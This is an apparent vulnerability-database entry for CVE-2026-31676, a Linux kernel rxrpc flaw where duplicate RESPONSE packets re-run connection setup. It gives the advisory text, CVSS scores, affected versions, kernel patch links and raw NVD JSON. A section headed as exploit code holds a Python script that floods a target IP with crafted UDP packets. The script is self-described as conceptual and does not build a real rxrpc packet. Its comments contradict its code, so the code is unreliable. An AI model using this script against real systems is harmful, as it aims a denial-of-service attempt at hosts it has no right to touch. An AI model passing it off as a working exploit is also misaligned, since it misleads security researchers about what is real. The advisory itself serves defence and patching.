CVE-2026-31676

Description

In the Linux kernel, the following vulnerability has been resolved: rxrpc: only handle RESPONSE during service challenge Only process RESPONSE packets while the service connection is still in RXRPC_CONN_SERVICE_CHALLENGING. Check that state under state_lock before running response verification and security initialization, then use a local secured flag to decide whether to queue the secured-connection work after the state transition. This keeps duplicate or late RESPONSE packets from re-running the setup path and removes the unlocked post-transition state test.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

Linux Kernel (主分支及各stable分支，具体取决于修复提交日期)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import struct

# This is a conceptual Proof of Concept for CVE-2026-31676.
# It attempts to send duplicate RESPONSE packets to a target to trigger the race condition.
# Note: rxrpc typically runs on specific UDP ports or requires specific encapsulation.

TARGET_IP = "192.168.1.10"
TARGET_PORT = 7000  # Example port, actual rxrpc port varies

# Create a raw socket (requires root privileges)
try:
    # Constructing a simplified UDP packet payload simulating an rxrpc RESPONSE
    # In a real scenario, specific rxrpc packet headers (clientID, securityIndex, etc.) are needed.
    rxrpc_header = struct.pack("!BBHHII", 1, 0, 0, 0, 12345, 67890) 
    payload = b"RESPONSE_DUPLICATE" + rxrpc_header

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    print(f"[*] Sending duplicate RESPONSE packets to {TARGET_IP}:{TARGET_PORT}...")
    
    for i in range(100):
        sock.sendto(payload, (TARGET_IP, TARGET_PORT))
        print(f"Packet {i+1} sent")
    
    print("[+] Exploit packets sent.")
    sock.close()
except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31676
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31676
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31676/
[4] VulDB https://vuldb.com/cve/CVE-2026-31676
[5] https://git.kernel.org/stable/c/03fd2ef73cb4ffd0af100a95b634af54f474414e
[6] https://git.kernel.org/stable/c/29b44d904dceb832be880def08b8cb17a0aba91c
[7] https://git.kernel.org/stable/c/a6bcf8010af093fe04f7100562e9542ab7882585
[8] https://git.kernel.org/stable/c/c43ffdcfdbb5567b1f143556df8a04b4eeea041c
[9] https://git.kernel.org/stable/c/d0035e634dae83237ab7f5681eb52b2f65d0ceb8

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31676", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-25T09:16:01.210", "lastModified": "2026-05-06T21:31:48.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: only handle RESPONSE during service challenge\n\nOnly process RESPONSE packets while the service connection is still in\nRXRPC_CONN_SERVICE_CHALLENGING. Check that state under state_lock before\nrunning response verification and security initialization, then use a local\nsecured flag to decide whether to queue the secured-connection work after\nthe state transition. This keeps duplicate or late RESPONSE packets from\nre-running the setup path and removes the unlocked post-transition state\ntest."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.22", "versionEndExcluding": "6.6.136", "matchCriteriaId": "D32EF540-B97D-4378-A852-A6F166CF1E4B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.84", "matchCriteriaId": "D4ECA0DE-AFF5-4688-B219-4CA2336CA5B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.23", "matchCriteriaId": "E9E09FDD-9EE3-4A56-92E2-2B30AFD0072F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.13", "matchCriteriaId": "1490EF9B-9080-481C-8D22-1306AAE664E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/03fd2ef73cb4ffd0af100a95b634af54f474414e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/29b44d904dceb832be880def08b8cb17a0aba91c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a6bcf8010af093fe04f7100562e9542ab7882585", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c43ffdcfdbb5567b1f143556df8a04b4eeea041c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d0035e634dae83237ab7f5681eb52b2f65d0ceb8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}